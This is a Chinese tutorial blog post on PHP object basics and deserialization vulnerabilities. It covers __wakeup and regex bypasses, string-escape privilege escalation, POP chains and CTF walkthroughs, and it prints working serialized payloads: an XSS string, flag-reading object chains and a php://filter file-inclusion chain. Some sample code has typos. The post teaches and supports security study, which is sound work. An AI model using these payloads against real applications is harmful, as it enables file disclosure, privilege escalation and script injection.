当前位置: 首页 > news >正文

从一开始的网络攻防(六):php反序列化

在了解php反序列化之前,需要先了解基础的php面向对象的知识,已具备可以跳过

php面向对象编程

面向对象编程的基本概念

在面向对象的程序设计(英语:Object-oriented programming,缩写:OOP)中,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

对象的主要三个特性
  • 对象的行为:可以对对象施加那些操作,开灯,关灯就是行为
  • 对象的形态:当施加那些方法是对象如何响应,颜色,尺寸,外型
  • 对象的表示:对象的表示就相当于身份证,具体区分在相同的行为与状态下有什么不同

类和对象

比如Animal(动物)是一个抽象类,我们可以具体到一只狗跟一只羊,而狗跟羊就是具体的对象,他们有颜色属性,可以写,可以跑等行为状态。

定义了一件事物的抽象特点。

类的定义包含了数据的形式以及对数据的操作。

对象

类的实例

成员变量

定义在类内部的变量

该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可称为对象的属性

成员函数

定义在类的内部,可用于访问对象的数据

php实例

<?php
class TestClass
{
// 一个变量
public $variable 'This is a string';
// 一个简单的方法
public function PrintVariable()
{echo $this->variable;
}
}// 创建一个对象
$object = new TestClass();
// 调用一个方法
$object->PrintVariabie();
?>

magic函数

类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,这些函数在某些情况下会自动调用

  • __construct:构造函数,当一个对象创建时调用
  • __destruct:析构函数,当一个对象被销毁时调用
  • __toString:当一个对象被当作一个字符串时使用,如echo $obj
  • __sleep:在对象序列化的时候,会调用一个__sleep()方法
  • __wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候,则会自动调用PHP的另一个函数__wakeup()
  • __invoke:在对象被当作函数调用时触发
  • __get:当访问不存在的属性时触发

php序列化和反序列化

序列化

有时候需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)

有两种情况我们必须把对象序列化

  • 把一个对象在网络中传输的时候
  • 把对象写入文件/数据库的时候
序列化字符串结构

O:<类名长度>:"<类名>":<属性数量>:{<属性定义>}

  • O:表示对象(Object)
  • <类名长度>:类名的字符长度(整数)
  • <类名>:类的名称(字符串)
  • <属性数量>:对象的属性数量(整数)
  • <属性定义>:属性的键值对(序列化格式)
其他字母标识
  • a-array
  • b-boolean
  • d-double
  • i-integer
  • o-common object
  • r-reference
  • s-string
  • C-custom object
  • O-class
  • N-null
  • R-pointer reference
  • U-unicode string
序列化后成员属性格式属性长度区别(在变量名处添加标记)
  • public属性名序列化后格式:成员名
  • private属性名序列化后格式:%00类名%00成员名
  • protected属性名序列化后格式:%00*%00成员名
  • %00是可见字符,固定格式,没有其他意义

反序列化

反序列化就是将序列化后的字符串,还原成对象和数组

在还原过程中,对象的成员变量将保留,而成员函数信息则不会存储

注意点:

  • 反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
  • 反序列化时,当长度不对应的时候会出现报错
  • 可以反序列化类中不存在的元素

为什么要进行序列化?

  • 方便数据的传输和存储
  • 有利于数据进行存储,减少内存浪费,节约资源
  • 减少数据丢失率,增强了程序安全性
  • 用作缓存,比如session缓存,cookie等

序列化与反序列化过程

序列化

把对象转化为二进制的字符串,使用serialize()函数

php序列化实例
<?php
∥一个类
class User
{
// 类的数据
public $age = 0;
public $name = '';
// 输出数据
public function printdata()
{echo 'User '.$this->name.'is '.$this->age.'years old.<br />';
}
}// 创建一个对象
$usr = new User();
// 设置数据
$usr->age = 18;
$usr->name = 'vergilben';
// 输出数据
$usr->printdata();
// 输出序列化后的数据
echo serialize($usr);
?>

  • O表示对象,4表示类名长度为4,User类名2表示属性数量为2
  • {里面是参数的key和value
    • s表示string对象,3表示长度,age则为key
    • i是interger对象,18是value
反序列化

把对象转化的二进制字符串再转化为对象,使用unserialize()函数

php反序列化实例
<?php
// 一个类
class User
{
// 类的数据
public $age = 0;
public $name = '';
// 输出数据
public function printdata()
{echo 'User '.$this->name.'is'.$this->age.'years old.<br />';
}
// 重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";});
/输出数据
$usr->printdata();
?>

php反序列化漏洞原理

序列化和反序列化本身没有问题,但是如果

  • 反序列化的内容是用户可以控制
  • 后台不正当的使用了PHP中的魔法函数

就会导致安全问题

传给unserialize()的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数

unserialize() 函数会根据序列化字符串中的类名(比如O:1:"S")自动实例化对应类的对象(一个S类的对象),即使代码中没有显式创建该对象

利用魔术方法绕过

_sleep和_wakeup

  • _sleep magic方法在一个对象被序列化时调用
  • _wakeup magic方法在一个对象被反序列化时调用
<?php
class test
{public $variable ='BUZZ';public $variable2 ='OTHER';public function printvariable(){echo $this->variable.'<br />';}public function wakeup(){echo'_wakeup'.'<br/>';}public function sleep(){echo '_sleep'.'<br />';return array('variable','variable2');}
}$object = new test();
// 序列化一个对象,会调用_sleep
$serialized = serialize($object);
// 输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';// 重建对象,会调用_wakeup
$object2 = unserialize($serialized);
// 调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
?>

__wakeup()魔法函数绕过

触发条件

在反序列化字符串中对象属性个数的值大于实际属性个数时(变量名),可绕过 wakeup方法

影响版本
  • PHP5<5.6.25
  • PHP7<7.0.10

正则绕过

可以用+号来进行绕过,+号添加位置----->类名个数

示例

O:4:"Demo":1:{s:10:"Demo file";s:8:"f14g.php";}

O:+4:"Demo":1:{s:10:"Demo file";s:8:"f14g.php";}

可以绕过类似于以下代码的过滤

if (preg_match('/[oc]:\d+:/i',$var)){die('stop hacking!');
} else{@unserialize($var);
}
  • [oc] 匹配字母 o 或 c(不区分大小写)
  • : 匹配冒号字符
  • \d+ 匹配 1 个或多个数字(\d 表示数字,+ 表示至少一次)
  • : 再次匹配冒号
  • /i 修饰符表示不区分大小写

字符串逃逸(闭合)

在反序列化函数可控情况下,若服务端存在替换序列化字符串中敏感字符,如:通过修改变量名等个数,造成与实际变量值个数不一致,而反序列化自身机制要求一定要满足字符串长度,则可以通过构造增加减少字符,来达到字符串逃逸。分为两种情况

  • 序列化字符串变长增加
  • 序列化字符串变短减少

原理

序列化字符串之后追加任意字符串,不影响反序列化的进行

$a[] = 'pink';
$b = serialize($a);
print_r($b);// 输出 a:1:{i:0;s:4:"pink";}

相关序列化测试实例

$str = 'a:1:{i:0;s:4:"pink";}';  // a[] = 'pink';
$str = 'a:1:{i:0;s:4:"pink";}";}123';  // a[] = 'pink';
$str = 'a:1:{i:0;s:7:"pink";}";}123';  // a[] = 'pink";}';$arr = unserialize($str);
print_r($arr);

测试发现,在n个字符结束后,必须以 ;} 结尾,其中的 ";} 符号并不会影响其反序列化

所以我们可以通过 ";} 来对序列化后内容进行提前闭合,使其原本内容不生效

思路

  1. 先计算正常序列化值
  2. 看自己想要构造的语句,分析自己要逃逸出多少字符,通过加减变量值进行字符串逃逸

函数执行流程:

序列化serialize -----> 通过加减构造序列化后语句 -----> 反序列化unserialize -----> 进行逃逸

示例

// 漏洞代码:反序列化前将"x"替换成"xx"
$data = str_replace('x', 'xx', $_POST['data']);
$obj = unserialize($data);// 正常数据结构
$safe_data = serialize(['username' => 'guest','access' => 'user'
]);
// 输出:a:2:{s:8:"username";s:5:"guest";s:6:"access";s:4:"user";}
攻击步骤
构造恶意payload
$payload = ['username' => 'xxxxxx";s:6:"access";s:5:"admin";}','access' => 'user'
];
// 原始序列化结果:
// a:2:{s:8:"username";s:38:"xxxxxx";s:6:"access";s:5:"admin";}";s:6:"access";s:4:"user";}
触发过滤操作
// 过滤后变化:
// 原始:xxxxxx (6个x)
// 过滤后:xxxxxxxxxxxx (12个x)
// 总长度增加6字符
解析过程对比
# 过滤前结构
s:38:"xxxxxx        -> 38字符长度的值
";s:6:"access";s:5:"admin";}...# 过滤后实际内容
xxxxxxxxxxxx      -> 12字符的x
";s:6:"access";s:5:"admin";}...# 解析器视角
s:38:"xxxxxxxxxxxx" -> 读取38字符:- 前12字符:xxxxxxxxxxxx- 剩余26字符:";s:6:"access";s:5:"admin";}
实现权限提升
array('username' => 'xxxxxxxxxxxx";s:6:"access";s:5:"admin";}','access' => 'admin'  // 覆盖原始值
)
完整攻击代码
// 攻击者构造的payload
$malicious = serialize(['username' => str_repeat('x', 6) . '";s:6:"access";s:5:"admin";}','access' => 'user'
]);// 模拟过滤过程
$filtered = str_replace('x', 'xx', $malicious);// 反序列化结果
$result = unserialize($filtered);
echo $result['access']; // 输出 "admin"

POP链构造

概念

常用于上层语言构造特定调用链的方法,从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者恶意利用的目的

其实就是反序列化通过控制对象的(可控)属性从而实现控制程序执行流程,进而达成利用本身无害的代码进行有害操作的目的

可通过程序中存在的类和php原生类构造pop链达成攻击

简单理解:A->B B->C A>B->C ,函数和类依靠调用进行执行,通过操控A间接操控C

重点

理清程序执行思路,构造pop链,通过函数间调用关系,间接执行目的函数读出文件内容

读代码思路

先读整体结构,比如创建几个类,创建几个函数,调用哪些功能,再具体说类中包含什么,涉及哪些公私变量等

分析代码,题中会有许多干扰函数,无任何作用,比如我们目的就是要读出flag.php的内容,就要找其中否包含读函数,反序列化函数等

php反序列化漏洞实操

序列化与反序列化漏洞的精髓在与敏感函数利用与类重构

利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。

Pikachu - 基础反序列化

查看源码
<?php
class S{var $test = "pikachu";function __construct(){echo $this->test;}
}//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}
?>

可以看到反序列化的对象可以自己传入,而且对象包含了成员变量test,于是我们可以构造test的值来利用漏洞

Payload

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

  • O表示对象,1表示类名长度为1,S为类名,1表示有属性数量为1
  • {里面是参数的key和value
    • s表示string对象,3表示长度,test则为key
    • s表示string对象,29表示长度,<script>alert('xss')</script>是value

所以经过反序列化之后会执行xss攻击

CTF - __toString利用

查看源码
<?php
header('Content-Type: text/html; charset=utf-8');
class User {public $username;public $isAdmin;public $admin;public function __construct($username = "", $isAdmin = false) {$this->username = $username;$this->isAdmin = $isAdmin;}public function __toString() {if (isset($this->admin) && $this->admin instanceof Admin) {$flag = $this->admin->getFlag();return $flag !== false ? $flag : "无法读取flag文件";}return "User: " . $this->username . " (Admin: " . ($this->isAdmin ? "Yes" : "No") . ")";}
}class Admin {private $secret;public function __construct() {$this->secret = @file_get_contents("/flag.txt");}public function __wakeup() {$this->secret = @file_get_contents("/flag.txt");}public function getFlag() {return $this->secret;}
}if (isset($_POST['data'])) {$data = $_POST['data'];try {$user = unserialize($data);if ($user instanceof User) {echo "<h2>用户信息:</h2>";echo $user; // [1]} else {echo "无效的用户数据!";}} catch (Exception $e) {echo "错误:" . $e->getMessage();}
} else {echo "请提供数据!";
}
?> 
  1. 关键的代码在Admin类中,__construct构造方法会去拿flag.txt的内容放到secret变量中,而getFlag方法则会返回secret变量,所以我们直接目的是要出发Admin类的getFlag方法
  2. 检索getFlag方法,发现在User类中__toString方法中存在$flag = $this->admin->getFlag();,会执行getFlag方法
  3. __toString是当一个对象被当作一个字符串时触发的,所以在[1]处echo $user;的时候,会触发__toString方法
  4. 注意还需要$user是User类的实例,才能触发特定的__toString方法,此User类需要包含admin变量,才能触发特定的__toString方法中的getFlag方法

综上,我们可以构造Payload

Payload
<?php// 构造有admin属性的User对象
class User{public $admin;
}// User的admin属性是一个Admin对象
// 有没有getFlag方法无所谓,因为传入后解析会将类名与自己定义的Admin类匹配
// 所以只需要类名相同,反序列化后即可使用Admin类中的方法
class Admin{
}$user = new User();
$user->admin = new Admin();
echo serialize($user);?>

O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}

BUUOJ - __wakeup绕过

进入靶机,根据提示,可能存在备份文件泄露,扫描后发现存在www.zip文件,下载下来解压进行代码审计

查看源码

比较有关的代码有

<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);
?>

index.php中导入了class.php,获取select变量的值后,进行反序列化

class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}

值得关注点有:

  • __wakeup函数会在反序列化的时候令对象的username参数设置为guest
  • __destruct函数会在结束的时候判断对象中username和password的值,如果username='admin'且password="100"则输出flag

所以我们可以构造一个Name类,包含私有属性username='admin'且password="100",并将其序列化

Payload
class Name{private $username = 'admin';private $password = "100";
}$a = new Name();
$select = serialize($a);echo $select;

输出的序列化字符串为:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

注意private属性名序列化后格式为%00类名%00成员名,所以实际的序列化字符串为:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

由于__wakeup函数会在反序列化的时候令对象的username参数设置为guest,所以我们还需要绕过__wakeup函数,这里将对象属性个数的值大于实际属性个数即可,比如这里我们可以改成3:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

获取flag失败,因为url地址栏参数要经过url编码,最终Payload为:

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

成功拿到flag

BUUOJ - POP构造

查看源码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
分析思路

首先文件在flag.php中,想要读到文件一般需要用到include函数进行文件包含,可以看到在Modifer类中,调用__invoke方法时会触发append函数,从而触发include函数,include的内容是变量$var

那么哪里会调用Modifer类的__invoke方法呢?

注意到Test类中有__get函数,这个函数会在访问不存在的属性时触发,函数的内容则是将变量$p当做函数触发,如果$p是一个可调用的对象,就会触发其__invoke方法

很好!那只要让一个Test对象的变量$p为我们构造的Modifer对象,并访问这个Test对象的一个不存在的值就能实现我们的目的

那么具体在哪触发Test类的__get方法呢?

在Show类的__toString方法中,有return $this->str->source;,如果$this->str是一个Test对象,而Test对象没有source属性,那么访问$str->source就会触发Test的__get方法

那么如何触发Show类的__toString?

当Show对象被当作字符串使用时触发,在Show类的__wakeup方法中,有preg_match函数,这个函数的第一个参数是字符串,而如果我们让$this->source为一个Show对象,那么当preg_match需要字符串时,就会把Show对象转换成字符串(即触发其__toString方法)

攻击步骤

总结一下攻击步骤:

  1. 反序列化Show对象触发__wakeup
  2. preg_match强制对象转字符串触发__toString
  3. __toString访问$str->source(Test对象无此属性)
  4. Test::__get将$p作为函数调用
  5. Modifier对象被调用触发__invoke执行文件包含
Payload
<?php
class Modifier {protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}class Show {public $source;public $str;
}class Test {public $p;
}// 构建对象链
$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;$innerShow = new Show();
$innerShow->str = $test;  // 触发Test::__get$outerShow = new Show();
$outerShow->source = $innerShow;  // 触发__toStringecho urlencode(serialize($outerShow));
?>

最终Payload为

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

http://www.dtcms.com/a/291096.html

相关文章:

  • UART串口
  • 什么是内网穿透?本地内网无公网IP如何实现互联网上远程访问?
  • 每日一题7.21
  • 自动化商品监控:利用淘宝API开发实时价格库存采集接口
  • springdoc-openapi-ui的使用教程
  • 嵌入式开发学习———Linux环境下C语言学习(十二)
  • 【Tools】Ubuntu24.04安装详细教程
  • mobaxteam x11传输界面避坑
  • SAP 邮箱配置
  • C语言运算符优先级“潜规则”
  • 原型与原型链
  • 二维码扫描登录流程详解
  • 【Elasticsearch】settings
  • 解密分账系统:企业资金管理的智能中枢
  • Linux的相关指令
  • 京东商品评论如何获取?API接口实战指南
  • Kali MSF渗透Windows 11电脑
  • Linux_gdb调试器--进程概念
  • Linux初识网络
  • MySQL 核心知识点梳理(3)
  • buntu 22.04 上离线安装Docker 25.0.5(二)
  • 如何升级到macOS Tahoe:全面指南与实用步骤
  • LeetCode 每日一题 2025/7/14-2025/7/20
  • Mysql(存储过程)
  • 图像编辑开源数据项目
  • 了解 ReAct 框架:语言模型中推理与行动的协同
  • 疯狂星期四文案网第14天运营日记
  • DBSCAN聚类算法
  • OpenAI API(1)补全Responses(Chat Completions)API和记忆Assistants API对比分析
  • 牛客周赛 Round 101(题解的token计算, 76修地铁 ,76选数,76构造,qcjj寄快递,幂中幂plus)